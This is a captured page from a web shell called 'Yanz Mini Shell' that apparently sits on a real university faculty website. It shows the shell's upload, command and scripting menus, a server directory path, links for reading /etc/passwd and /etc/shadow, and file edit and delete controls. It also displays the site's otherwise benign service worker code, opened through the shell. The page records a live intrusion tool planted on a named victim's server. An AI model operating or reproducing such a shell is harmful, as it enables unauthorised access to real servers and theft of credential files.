Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
// Service Worker untuk Fakultas Sains UNCP — Progressive Web App // Strategi: Network-first untuk HTML/PHP, Cache-first untuk asset static const CACHE_VERSION = 'fsains-v8-7-network-only'; // Install: skip waiting self.addEventListener('install', event => { self.skipWaiting(); }); // Activate: hapus cache lama self.addEventListener('activate', event => { event.waitUntil( caches.keys().then(keys => Promise.all( keys.filter(k => k !== CACHE_VERSION).map(k => caches.delete(k)) )) ); self.clients.claim(); }); // Fetch handler self.addEventListener('fetch', event => { const req = event.request; if (req.method !== 'GET') return; const url = new URL(req.url); // Skip cross-origin, admin area, dan POST if (url.origin !== location.origin) return; if (url.pathname.includes('/admin/')) return; if (url.pathname.endsWith('/sw.js')) return; if (url.pathname.endsWith('/manifest.php')) return; // Asset static (CSS/JS/image/font): cache-first if (req.destination === 'style' || req.destination === 'script' || req.destination === 'image' || req.destination === 'font') { event.respondWith( caches.match(req).then(cached => { if (cached) return cached; return fetch(req).then(res => { if (res && res.status === 200 && res.type === 'basic') { const clone = res.clone(); caches.open(CACHE_VERSION).then(cache => cache.put(req, clone)).catch(()=>{}); } return res; }); }).catch(() => new Response('', { status: 504 })) ); return; } // HTML/PHP: NETWORK-ONLY (jangan cache sama sekali, supaya konten admin yang dihapus // langsung hilang dari publik tanpa nunggu cache expire) // Hanya fallback ke offline page kalau benar2 tidak ada koneksi. event.respondWith( fetch(req).catch(() => { return new Response( '<!doctype html><meta charset="utf-8"><title>Offline</title>' + '<body style="font-family:sans-serif;text-align:center;padding:60px 20px;background:#f8fafc;">' + '<h1 style="color:#0a2b3e;">📡 Anda Sedang Offline</h1>' + '<p style="color:#64748b;">Tidak ada koneksi internet. Coba lagi setelah online.</p>' + '<button onclick="location.reload()" style="margin-top:20px;padding:12px 24px;background:#00bfff;color:white;border:none;border-radius:8px;cursor:pointer;">Coba Lagi</button>' + '</body>', { headers: { 'Content-Type': 'text/html; charset=utf-8' }, status: 200 } ); }) ); });
Free Space : 55390093312 Byte